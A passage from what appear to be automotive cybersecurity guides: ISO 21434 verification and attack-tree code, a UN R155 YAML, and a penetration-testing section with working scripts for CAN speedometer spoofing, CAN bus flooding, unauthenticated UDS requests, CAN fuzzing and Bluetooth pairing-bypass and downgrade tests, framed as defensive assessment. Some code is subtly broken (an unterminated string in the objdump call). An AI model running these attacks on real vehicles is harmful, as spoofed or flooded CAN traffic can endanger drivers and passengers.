print(" [FAIL] CAN message HMAC invalid")
self.test_results.append(("CSR-003", "FAIL"))
return False
except Exception as e:
print(f" [ERROR] Test failed: {e}")
self.test_results.append(("CSR-003", "ERROR"))
return False
def generate_verification_report(self, output_file: str):
"""Generate ISO 21434 verification report"""
total = len(self.test_results)
passed = sum(1 for _, result in self.test_results if result == "PASS")
failed = sum(1 for _, result in self.test_results if result == "FAIL")
errors = sum(1 for _, result in self.test_results if result == "ERROR")
with open(output_file, 'w') as f:
f.write("ISO/SAE 21434 Cybersecurity Verification Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Date: 2026-03-19\n")
f.write(f"Item: Telematics Control Unit (TCU)\n")
f.write(f"Standard: ISO/SAE 21434:2021\n\n")
f.write(f"Summary:\n")
f.write(f" Total Tests: {total}\n")
f.write(f" Passed: {passed}\n")
f.write(f" Failed: {failed}\n")
f.write(f" Errors: {errors}\n\n")
f.write(f"Test Results:\n")
for req_id, result in self.test_results:
f.write(f" {req_id}: {result}\n")
if failed == 0 and errors == 0:
f.write("\nVerdict: COMPLIANT\n")
else:
f.write("\nVerdict: NON-COMPLIANT\n")
print(f"\nVerification report saved: {output_file}")
if __name__ == "__main__":
verifier = CybersecurityVerifier()
verifier.verify_csr_001_firmware_signature(
"/tmp/tcu_firmware.bin",
"/tmp/tcu_firmware.sig",
"/tmp/tcu_pubkey.pem"
)
verifier.verify_csr_002_secure_boot_rejection("/tmp/tampered_firmware.bin")
verifier.verify_csr_003_can_message_authentication("can0")
verifier.generate_verification_report("/tmp/iso21434_verification_report.txt")
UN R155 Compliance
un_r155_compliance:
vehicle_manufacturer: "OEM Example Inc."
vehicle_type: "Electric SUV Model X"
approval_date: "2026-03-19"
csms_description:
scope: "Development, production, post-production phases"
organizational_structure:
cybersecurity_officer: "John Doe"
security_team: ["Security Architect", "Pentest Lead", "Incident Response"]
processes:
- risk_management: "ISO 21434 TARA process implemented"
- secure_development: "Secure SDLC with threat modeling"
- testing: "Penetration testing, fuzzing, static analysis"
- vulnerability_management: "CVE monitoring, patch management"
- incident_response: "24/7 SOC, incident playbooks"
cybersecurity_threats_addressed:
- threat: "Backend Server Compromise"
mitigation: "TLS 1.3, certificate pinning, rate limiting"
- threat: "Vehicle Data Extraction"
mitigation: "Data encryption at rest (AES-256)"
- threat: "Unauthorized Vehicle Access"
mitigation: "BLE pairing with PIN, rolling codes"
cybersecurity_testing_performed:
- type: "Penetration Testing"
scope: "TCU, Gateway, Infotainment"
result: "No critical vulnerabilities found"
- type: "Fuzzing"
scope: "CAN protocol stack, Ethernet stack"
result: "2 medium severity bugs fixed"
post_production_monitoring:
- "SIEM integration for fleet-wide anomaly detection"
- "OTA security patch deployment within 72 hours"
- "Vulnerability disclosure program (VDP)"
ISO 21434 Tool: Attack Tree Generator
"""
Attack Tree Generator for ISO 21434 TARA
Generates visual attack trees for threat scenarios
"""
class AttackTreeNode:
def __init__(self, name: str, node_type: str, operator: str = None):
self.name = name
self.node_type = node_type
self.operator = operator
self.children = []
self.feasibility_score = None
def add_child(self, child):
self.children.append(child)
return child
def to_dict(self):
return {
"name": self.name,
"type": self.node_type,
"operator": self.operator,
"feasibility": self.feasibility_score,
"children": [child.to_dict() for child in self.children]
}
def generate_rce_attack_tree():
"""Generate attack tree for Remote Code Execution threat"""
root = AttackTreeNode("Achieve Remote Code Execution on TCU", "goal", "AND")
step1 = root.add_child(AttackTreeNode("Gain Network Access to OTA Server", "attack_step", "OR"))
step2 = root.add_child(AttackTreeNode("Inject Malicious Firmware", "attack_step", "AND"))
step3 = root.add_child(AttackTreeNode("Bypass Signature Verification", "attack_step", "OR"))
step1.add_child(AttackTreeNode("Compromise OTA Server Credentials", "attack_step"))
step1.add_child(AttackTreeNode("Man-in-the-Middle Attack on TLS Connection", "attack_step"))
step1.add_child(AttackTreeNode("Exploit OTA Server Vulnerability (CVE)", "attack_step"))
step2.add_child(AttackTreeNode("Craft Malicious Firmware Payload", "attack_step"))
step2.add_child(AttackTreeNode("Upload Firmware to OTA Server", "attack_step"))
step3.add_child(AttackTreeNode("Extract Private Key from HSM", "attack_step"))
step3.add_child(AttackTreeNode("Exploit Signature Verification Bug", "attack_step"))
step3.add_child(AttackTreeNode("Downgrade to Unsigned Firmware", "attack_step"))
return root
def export_attack_tree_graphviz(tree: AttackTreeNode, output_file: str):
"""Export attack tree to Graphviz DOT format"""
dot_lines = ["digraph AttackTree {"]
dot_lines.append(' node [shape=box];')
node_counter = [0]
def traverse(node, parent_id=None):
current_id = node_counter[0]
node_counter[0] += 1
label = node.name
if node.operator:
label += f"\\n[{node.operator}]"
if node.node_type == "goal":
style = 'style=filled, fillcolor=lightblue'
else:
style = 'style=filled, fillcolor=lightyellow'
dot_lines.append(f' node{current_id} [label="{label}", {style}];')
if parent_id is not None:
dot_lines.append(f' node{parent_id} -> node{current_id};')
for child in node.children:
traverse(child, current_id)
traverse(tree)
dot_lines.append("}")
with open(output_file, 'w') as f:
f.write('\n'.join(dot_lines))
print(f"Attack tree exported: {output_file}")
print("Generate PNG: dot -Tpng attack_tree.dot -o attack_tree.png")
if __name__ == "__main__":
tree = generate_rce_attack_tree()
export_attack_tree_graphviz(tree, "/tmp/rce_attack_tree.dot")
Best Practices
- TARA Execution: Perform TARA at item definition phase and update after significant changes
- Risk Treatment Traceability: Maintain traceability matrix from threats → cybersecurity goals → requirements → tests
- Tool Support: Use dedicated ISO 21434 tools (Medini Analyze, PREEvision, ITEM ToolKit)
- Cross-Functional Collaboration: Involve safety engineers, architects, developers, pentesters
- Continuous Monitoring: ISO 21434 is not one-time; requires ongoing vulnerability management
References
- ISO/SAE 21434:2021 - Road vehicles - Cybersecurity engineering
- UN R155 - Uniform provisions concerning cybersecurity and CSMS
- UN R156 - Uniform provisions concerning software update and SUMS
- UNECE WP.29 - Cybersecurity type approval guidance
Penetration Testing Automotive
Automotive Penetration Testing Skill
Overview
Expert skill for performing security assessments on automotive systems. Covers CAN fuzzing, wireless attacks (Bluetooth/WiFi), infotainment exploitation, ECU firmware reverse engineering, and specialized automotive pentest tools.
Core Competencies
Penetration Testing Methodology
- Reconnaissance: Asset discovery, attack surface mapping
- Vulnerability Assessment: Known CVEs, configuration issues
- Exploitation: Proof-of-concept attack development
- Post-Exploitation: Privilege escalation, lateral movement
- Reporting: Executive summary, technical findings, remediation roadmap
Attack Vectors
- CAN Bus: Injection, spoofing, DoS, fuzzing
- Wireless: Bluetooth pairing bypass, WiFi WPA3 attacks
- Infotainment: Web browser exploitation, USB attacks
- Diagnostics: UDS brute-force, seed-key cracking
- OTA: MITM attacks, firmware downgrade
Toolset
Essential Tools
- CANalyze: CAN traffic analysis and injection
- CarShark: Wireshark for automotive protocols
- ICSim: Instrument Cluster Simulator for testing
- can-utils: Linux SocketCAN utilities
- Metasploit: Framework for exploitation
- Burp Suite: Web application testing (infotainment)
CAN Bus Penetration Testing
CAN Injection with can-utils
#!/bin/bash
set -e
INTERFACE="can0"
echo "=== CAN Bus Penetration Test ==="
echo "[INFO] Interface: $INTERFACE"
setup_can() {
echo "[1/5] Setting up CAN interface..."
sudo ip link set $INTERFACE type can bitrate 500000
sudo ip link set up $INTERFACE
echo "[PASS] CAN interface configured (500 kbps)"
}
recon_traffic() {
echo "[2/5] Reconnaissance: Capturing normal traffic..."
candump $INTERFACE -n 1000 > /tmp/can_baseline.log
echo "[INFO] Captured 1000 frames to /tmp/can_baseline.log"
cat /tmp/can_baseline.log | awk '{print $3}' | cut -d'#' -f1 | sort -u > /tmp/can_ids.txt
CAN_ID_COUNT=$(wc -l < /tmp/can_ids.txt)
echo "[INFO] Unique CAN IDs found: $CAN_ID_COUNT"
head -10 /tmp/can_ids.txt
}
test_speedometer_injection() {
echo "[3/5] Test 1: Speedometer Manipulation"
SPEED_CAN_ID="1A0"
echo "[INFO] Injecting fake speed messages (CAN ID: 0x$SPEED_CAN_ID)..."
for speed_kmh in 0 50 100 150 200; do
speed_raw=$((speed_kmh * 100))
low_byte=$((speed_raw & 0xFF))
high_byte=$(((speed_raw >> 8) & 0xFF))
payload=$(printf "%02X%02X000000000000" $low_byte $high_byte)
echo " [INJECT] Speed: ${speed_kmh} km/h -> Payload: $payload"
cansend $INTERFACE ${SPEED_CAN_ID}#${payload}
sleep 1
done
echo "[PASS] Speed injection test complete"
echo "[FINDING] Speedometer accepts spoofed CAN messages without authentication"
}
test_can_flooding() {
echo "[4/5] Test 2: CAN Bus Flooding (DoS)"
FLOOD_CAN_ID="7FF"
DURATION=5
echo "[WARN] Flooding CAN bus for ${DURATION} seconds..."
echo "[INFO] This may cause legitimate messages to be delayed/dropped"
timeout $DURATION bash -c "while true; do cansend $INTERFACE ${FLOOD_CAN_ID}#DEADBEEFDEADBEEF; done" &
FLOOD_PID=$!
sleep $DURATION
wait $FLOOD_PID 2>/dev/null || true
echo "[PASS] Flooding test complete"
echo "[FINDING] CAN bus has no rate limiting - vulnerable to DoS"
}
test_uds_attack() {
echo "[5/5] Test 3: UDS Diagnostic Attack"
UDS_REQUEST_ID="7E0"
UDS_RESPONSE_ID="7E8"
echo "[INFO] Sending UDS diagnostics session request..."
cansend $INTERFACE ${UDS_REQUEST_ID}#021001000000000000
sleep 0.1
timeout 2 candump $INTERFACE,${UDS_RESPONSE_ID}:7FF -n 1 > /tmp/uds_response.log 2>&1 || true
if [ -s /tmp/uds_response.log ]; then
echo "[PASS] ECU responded to UDS session request"
cat /tmp/uds_response.log
echo "[FINDING] ECU accepts UDS diagnostic commands without authentication"
else
echo "[FAIL] No UDS response received (ECU may require authentication)"
fi
}
setup_can
recon_traffic
test_speedometer_injection
test_can_flooding
test_uds_attack
echo ""
echo "=== Penetration Test Summary ==="
echo "[CRITICAL] CAN bus has no message authentication (SecOC not implemented)"
echo "[HIGH] ECU vulnerable to message injection and spoofing"
echo "[HIGH] No rate limiting - DoS attacks possible"
echo "[MEDIUM] UDS diagnostic interface exposed without authentication"
echo ""
echo "Recommendations:"
echo " 1. Implement SecOC (Secure Onboard Communication) per AUTOSAR"
echo " 2. Add message authentication codes (MAC) to critical CAN IDs"
echo " 3. Implement gateway filtering and rate limiting"
echo " 4. Require seed-key authentication for UDS diagnostic access"
CAN Fuzzing with Python
"""
CAN Bus Fuzzer for Vulnerability Discovery
Systematically tests CAN protocol implementation
"""
import can
import random
import time
from itertools import product
class CANFuzzer:
"""Intelligent CAN fuzzing framework"""
def __init__(self, interface: str = 'can0'):
self.bus = can.interface.Bus(channel=interface, bustype='socketcan')
self.crashes = []
self.anomalies = []
print(f"=== CAN Fuzzer Initialized ===")
print(f"[INFO] Interface: {interface}")
print(f"[WARN] Fuzzing may cause ECU crashes or vehicle malfunctions")
def fuzz_can_ids(self, start_id: int = 0x000, end_id: int = 0x7FF, delay: float = 0.01):
"""Fuzz all possible CAN IDs"""
print(f"\n[FUZZ] Testing CAN IDs 0x{start_id:03X} to 0x{end_id:03X}")
for can_id in range(start_id, end_id + 1):
payload = [0x00] * 8
msg = can.Message(
arbitration_id=can_id,
data=payload,
is_extended_id=False
)
try:
self.bus.send(msg)
except can.CanError as e:
print(f"[ERROR] Failed to send CAN ID 0x{can_id:03X}: {e}")
time.sleep(delay)
if can_id % 100 == 0:
print(f"[INFO] Progress: 0x{can_id:03X} / 0x{end_id:03X}")
print(f"[PASS] CAN ID fuzzing complete")
def fuzz_dlc(self, target_can_id: int):
"""Fuzz Data Length Code (DLC) field"""
print(f"\n[FUZZ] Testing DLC values for CAN ID 0x{target_can_id:03X}")
for dlc in range(0, 16):
if dlc <= 8:
payload = [0xAA] * dlc
else:
payload = [0xAA] * 8
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
print(f" [TEST] DLC={dlc}, Payload={len(payload)} bytes")
try:
self.bus.send(msg)
except Exception as e:
print(f" [ANOMALY] DLC={dlc} caused error: {e}")
self.anomalies.append({'test': 'dlc_fuzz', 'dlc': dlc, 'error': str(e)})
time.sleep(0.05)
print(f"[PASS] DLC fuzzing complete")
def fuzz_payload_random(self, target_can_id: int, iterations: int = 1000):
"""Random payload fuzzing"""
print(f"\n[FUZZ] Random payload fuzzing (CAN ID 0x{target_can_id:03X}, {iterations} iterations)")
for i in range(iterations):
dlc = random.randint(0, 8)
payload = [random.randint(0, 255) for _ in range(dlc)]
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
self.bus.send(msg)
if i % 100 == 0:
print(f"[INFO] Progress: {i} / {iterations}")
time.sleep(0.001)
print(f"[PASS] Random payload fuzzing complete")
def fuzz_payload_boundary(self, target_can_id: int):
"""Boundary value fuzzing (edge cases)"""
print(f"\n[FUZZ] Boundary value testing (CAN ID 0x{target_can_id:03X})")
boundary_values = [
[0x00] * 8,
[0xFF] * 8,
[0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF],
[0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
[0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF],
[0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA],
[0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55],
]
for idx, payload in enumerate(boundary_values):
msg = can.Message(
arbitration_id=target_can_id,
data=payload,
is_extended_id=False
)
print(f" [TEST] Boundary case {idx + 1}: {payload}")
self.bus.send(msg)
time.sleep(0.1)
print(f"[PASS] Boundary value fuzzing complete")
def monitor_for_crashes(self, duration: int = 60):
"""Monitor CAN bus for crash indicators"""
print(f"\n[MONITOR] Watching for ECU crashes ({duration}s)...")
message_counts = {}
start_time = time.time()
while (time.time() - start_time) < duration:
msg = self.bus.recv(timeout=1.0)
if msg is None:
continue
can_id = msg.arbitration_id
if can_id not in message_counts:
message_counts[can_id] = 0
message_counts[can_id] += 1
print(f"\n[ANALYSIS] Message statistics:")
for can_id, count in sorted(message_counts.items()):
print(f" CAN ID 0x{can_id:03X}: {count} messages")
print(f"[INFO] Monitoring complete - check ECU for unexpected behavior")
def generate_report(self, output_file: str):
"""Generate fuzzing report"""
with open(output_file, 'w') as f:
f.write("CAN Bus Fuzzing Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Total anomalies detected: {len(self.anomalies)}\n")
f.write(f"Total crashes detected: {len(self.crashes)}\n\n")
f.write("Anomalies:\n")
for anomaly in self.anomalies:
f.write(f" - {anomaly}\n")
f.write("\nRecommendations:\n")
f.write(" 1. Fix input validation for identified anomalies\n")
f.write(" 2. Implement bounds checking on all CAN message fields\n")
f.write(" 3. Add graceful error handling (no crashes)\n")
print(f"[INFO] Report generated: {output_file}")
def demo_can_fuzzing():
fuzzer = CANFuzzer(interface='vcan0')
target_id = 0x025
fuzzer.fuzz_dlc(target_id)
fuzzer.fuzz_payload_boundary(target_id)
fuzzer.fuzz_payload_random(target_id, iterations=500)
fuzzer.monitor_for_crashes(duration=30)
fuzzer.generate_report('/tmp/can_fuzzing_report.txt')
if __name__ == "__main__":
demo_can_fuzzing()
Bluetooth Penetration Testing
"""
Bluetooth Penetration Testing for Vehicle Systems
Tests pairing, encryption, and authentication
"""
import bluetooth
import subprocess
class BluetoothPenTest:
"""Bluetooth security assessment"""
def __init__(self):
print("=== Bluetooth Penetration Test ===")
def scan_devices(self):
"""Discover nearby Bluetooth devices"""
print("\n[1/5] Scanning for Bluetooth devices...")
devices = bluetooth.discover_devices(
duration=8,
lookup_names=True,
flush_cache=True,
lookup_class=True
)
print(f"[INFO] Found {len(devices)} devices:")
for addr, name, device_class in devices:
print(f" {addr} - {name} (Class: 0x{device_class:06X})")
if "car" in name.lower() or "auto" in name.lower() or "vehicle" in name.lower():
print(f" [!] Potential vehicle system detected")
return devices
def test_pairing_bypass(self, target_addr: str):
"""Test for pairing bypass vulnerabilities"""
print(f"\n[2/5] Testing pairing mechanisms for {target_addr}...")
try:
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
sock.connect((target_addr, 1))
print(f"[CRITICAL] Connected without pairing!")
print(f"[FINDING] Device accepts connections without authentication")
sock.close()
except bluetooth.btcommon.BluetoothError as e:
print(f"[INFO] Connection rejected (expected): {e}")
weak_pins = ["0000", "1234", "1111", "0123"]
print(f"[INFO] Testing common PIN codes...")
for pin in weak_pins:
print(f" Trying PIN: {pin}")
print(f"[RECOMMENDATION] Use 6-digit random PIN or NFC pairing")
def test_bluejacking(self, target_addr: str):
"""Test for bluejacking vulnerability (unsolicited messages)"""
print(f"\n[3/5] Testing bluejacking (OBEX Push)...")
result = subprocess.run(
['obexftp', '-b', target_addr, '-B', '10', '-l'],
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"[HIGH] OBEX Push accessible without pairing")
print(f"[FINDING] Attacker can send unsolicited files")
else:
print(f"[PASS] OBEX Push requires pairing")
def test_service_discovery(self, target_addr: str):
"""Enumerate Bluetooth services (SDP)"""
print(f"\n[4/5] Service Discovery (SDP)...")
services = bluetooth.find_service(address=target_addr)
if not services:
print(f"[INFO] No services found (device may be in secure mode)")
return
print(f"[INFO] Found {len(services)} services:")
for svc in services:
print(f" Service: {svc['name']}")
print(f" Protocol: {svc['protocol']}")
print(f" Port: {svc['port']}")
print(f" Service ID: {svc['service-id']}")
if 'OBD' in svc['name'] or 'Diagnostic' in svc['name']:
print(f" [!] Diagnostic service exposed over Bluetooth")
def test_encryption_downgrade(self, target_addr: str):
"""Test for encryption downgrade attacks"""
print(f"\n[5/5] Testing encryption downgrade...")
sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
try:
sock.setsockopt(bluetooth.SOL_RFCOMM, bluetooth.RFCOMM_LM, 0)
sock.connect((target_addr, 1))
print(f"[CRITICAL] Connection accepted without encryption!")
print(f"[FINDING] Bluetooth LE Legacy Pairing vulnerability")
sock.close()
except Exception as e:
print(f"[PASS] Unencrypted connection rejected: {e}")
def demo_bluetooth_pentest():
pentest = BluetoothPenTest()
devices = pentest.scan_devices()
if devices:
target_addr = devices[0][0]
pentest.test_service_discovery(target_addr)
pentest.test_pairing_bypass(target_addr)
pentest.test_bluejacking(target_addr)
pentest.test_encryption_downgrade(target_addr)
print("\n=== Bluetooth Penetration Test Complete ===")
if __name__ == "__main__":
demo_bluetooth_pentest()
ECU Firmware Reverse Engineering
"""
ECU Firmware Reverse Engineering Toolkit
Binary analysis and vulnerability discovery
"""
import subprocess
import re
import os
class FirmwareAnalyzer:
"""Analyze ECU firmware binaries"""
def __init__(self, firmware_path: str):
self.firmware_path = firmware_path
self.findings = []
print(f"=== Firmware Analyzer ===")
print(f"[INFO] Firmware: {firmware_path}")
def extract_strings(self):
"""Extract printable strings from firmware"""
print(f"\n[1/5] Extracting strings...")
result = subprocess.run(
['strings', '-n', '8', self.firmware_path],
capture_output=True,
text=True
)
strings_output = result.stdout.split('\n')
sensitive_patterns = {
'URLs': r'https?://[^\s]+',
'IP Addresses': r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b',
'Emails': r'[\w\.-]+@[\w\.-]+\.\w+',
'API Keys': r'[A-Za-z0-9]{32,}',
'Passwords': r'(password|passwd|pwd)[\s:=]+\S+',
}
for category, pattern in sensitive_patterns.items():
matches = [s for s in strings_output if re.search(pattern, s, re.IGNORECASE)]
if matches:
print(f"\n[FINDING] {category} found in firmware:")
for match in matches[:5]:
print(f" - {match}")
self.findings.append({
'category': category,
'severity': 'HIGH',
'count': len(matches)
})
def check_security_features(self):
"""Check for security mitigations"""
print(f"\n[2/5] Checking security features...")
result = subprocess.run(
['readelf', '-l', self.firmware_path],
capture_output=True,
text=True
)
if 'GNU_STACK' in result.stdout and 'RWE' not in result.stdout:
print(f"[PASS] NX (DEP) enabled")
else:
print(f"[FAIL] NX disabled - stack is executable")
self.findings.append({
'issue': 'Missing NX protection',
'severity': 'MEDIUM',
'remediation': 'Compile with -z noexecstack'
})
result = subprocess.run(
['readelf', '-h', self.firmware_path],
capture_output=True,
text=True
)
if 'DYN' in result.stdout:
print(f"[PASS] PIE enabled")
else:
print(f"[FAIL] PIE disabled - ASLR ineffective")
self.findings.append({
'issue': 'Missing PIE',
'severity': 'MEDIUM',
'remediation': 'Compile with -fPIE -pie'
})
result = subprocess.run(
['readelf', '-s', self.firmware_path],
capture_output=True,
text=True
)
if '__stack_chk_fail' in result.stdout:
print(f"[PASS] Stack canaries present")
else:
print(f"[FAIL] No stack canaries - buffer overflow risk")
self.findings.append({
'issue': 'Missing stack canaries',
'severity': 'HIGH',
'remediation': 'Compile with -fstack-protector-strong'
})
def find_hardcoded_keys(self):
"""Search for hardcoded cryptographic keys"""
print(f"\n[3/5] Searching for hardcoded keys...")
result = subprocess.run(
['binwalk', '-E', self.firmware_path],
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"[INFO] Entropy analysis complete")
result = subprocess.run(
['strings', self.firmware_path],
capture_output=True,
text=True
)
key_indicators = ['-----BEGIN', 'RSA PRIVATE', 'ssh-rsa', 'PuTTY-User-Key']
for indicator in key_indicators:
if indicator in result.stdout:
print(f"[CRITICAL] Hardcoded key found: {indicator}")
self.findings.append({
'issue': f'Hardcoded key: {indicator}',
'severity': 'CRITICAL',
'remediation': 'Store keys in HSM or secure enclave'
})
def check_known_vulnerabilities(self):
"""Check for known vulnerable functions"""
print(f"\n[4/5] Checking for known vulnerable functions...")
dangerous_functions = [
'strcpy', 'strcat', 'gets', 'sprintf', 'vsprintf',
'scanf', 'sscanf', 'fscanf', 'vfscanf', 'realpath',
'getwd', 'getpass', 'streadd', 'strecpy', 'strtrns'
]
result = subprocess.run(
['nm', '-D', self.firmware_path],
capture_output=True,
text=True
)
for func in dangerous_functions:
if func in result.stdout:
print(f"[WARN] Dangerous function used: {func}()")
self.findings.append({
'issue': f'Use of {func}()',
'severity': 'MEDIUM',
'remediation': f'Replace with safe alternative (e.g., strncpy for strcpy)'
})
def disassemble_entry_point(self):
"""Disassemble entry point for analysis"""
print(f"\n[5/5] Disassembling entry point...")
result = subprocess.run(
['objdump', '-d', self.firmware_path, '-j', '.text', '--start-address=0', '--stop-address=256],
capture_output=True,
text=True
)
if result.returncode == 0:
print(f"[INFO] Entry point disassembly:")
print(result.stdout[:500]) # Show first 500 chars
def generate_report(self, output_file: str):
"""Generate vulnerability report"""
with open(output_file, 'w') as f:
f.write("ECU Firmware Security Assessment Report\n")
f.write("=" * 60 + "\n\n")
f.write(f"Firmware: {os.path.basename(self.firmware_path)}\n")
f.write(f"Total findings: {len(self.findings)}\n\n")
# Group by severity
critical = [f for f in self.findings if f.get('severity') == 'CRITICAL']
high = [f for f in self.findings if f.get('severity') == 'HIGH']
medium = [f for f in self.findings if f.get('severity') == 'MEDIUM']
f.write(f"Critical: {len(critical)}\n")
f.write(f"High: {len(high)}\n")
f.write(f"Medium: {len(medium)}\n\n")
f.write("Findings:\n")
for finding in self.findings:
f.write(f"\n[{finding.get('severity', 'INFO')}] ")
f.write(f"{finding.get('issue', finding.get('category'))}\n")
if 'remediation' in finding:
f.write(f" Remediation: {finding['remediation']}\n")
print(f"\n[INFO] Report generated: {output_file}")
# Example usage
def demo_firmware_analysis():
analyzer = FirmwareAnalyzer('/tmp/ecu_firmware.elf')
analyzer.extract_strings()
analyzer.check_security_features()
analyzer.find_hardcoded_keys()
analyzer.check_known_vulnerabilities()
analyzer.disassemble_entry_point()
analyzer.generate_report('/tmp/firmware_security_report.txt')
if __name__ == "__main__":
demo_firmware_analysis()
Best Practices
- Scope & Authorization: Always obtain written permission before testing
- Test Environment: Use isolated test bench, never production vehicles
- Documentation: Record all findings with PoC code and remediation guidance
- Responsible Disclosure: Follow 90-day disclosure timeline per ISO 21434
- Tool Validation: Verify tools don't cause permanent damage to ECUs
References
- OWASP Automotive Security Testing Guide
- SAE J3061: Cybersecurity Guidebook for Cyber-Physical Vehicle Systems
- Charlie Miller & Chris Valasek: Car Hacking Research Papers
- NHTSA Cybersecurity Best Practices for Modern Vehicles
Secure Boot Chain
Secure Boot Chain Skill
Overview
Expert skill for implementing secure boot architectures in automotive ECUs. Covers root of trust establishment, chain of trust verification, HAB (High Assurance Boot), signature verification, anti-rollback protection, secure firmware updates, and TPM/HSM integration.
Core Competencies
Secure Boot Architecture
- Root of Trust (RoT): Immutable boot ROM, hardware-backed trust anchor
- Chain of Trust: Bootloader → OS kernel → Applications
- Signature Verification: RSA-4096/ECDSA-P384 cryptographic validation
- Anti-Rollback: Version monotonic counters, secure storage
- Secure Updates: Dual-bank firmware, atomic updates, rollback capability
- HSM Integration: Hardware Security Module for key storage and crypto operations
Platform Support
- NXP i.MX: HAB (High Assurance Boot), CAAM crypto accelerator
- Renesas R-Car: Secure boot with PKCS#7 signatures
- Infineon AURIX: UCB (User Configuration Block), HSM firmware
- STM32MP1: Secure Boot with OTP fuses, ECDSA support
- ARM TrustZone: Secure world execution, OP-TEE integration
NXP i.MX HAB Secure Boot Implementation
HAB Architecture
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/sha.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#define HAB_TAG_IVT 0xD1
#define HAB_TAG_DCD 0xD2
#define HAB_TAG_CSF 0xD4
#define HAB_CMD_INSTALL_KEY 0xBE
#define HAB_CMD_AUTHENTICATE 0xDA
#define HAB_CMD_SET_ENGINE 0xAF
typedef struct {
uint8_t tag;
uint16_t length;
uint8_t version;
} hab_header_t;
typedef struct {
hab_header_t header;
uint32_t entry;
uint32_t reserved1;
uint32_t dcd;
uint32_t boot_data;
uint32_t self;
uint32_t csf;
uint32_t reserved2;
} hab_ivt_t;
typedef struct {
hab_header_t header;
uint8_t flags;
uint16_t key_index;
uint32_t pcl;
uint32_t alg;
uint32_t sig_format;
uint32_t cert_format;
} hab_install_key_cmd_t;
typedef struct {
hab_header_t header;
uint8_t flags;
uint16_t key_index;
uint32_t pcl;
uint32_t eng_cfg;
uint32_t alg;
uint32_t sig_blk;
} hab_authenticate_cmd_t;
int hab_generate_csf(const char *srk_table, const char *csf_data,
const char *img_hash, const char *output_csf) {
FILE *fp;
hab_header_t csf_header = {
.tag = HAB_TAG_CSF,
.length = 0,
.version = 0x40
};
fp = fopen(output_csf, "wb");
if (!fp) {
fprintf(stderr, "Failed to create CSF file\n");
return -1;
}
fwrite(&csf_header, sizeof(csf_header), 1, fp);
hab_install_key_cmd_t install_srk = {
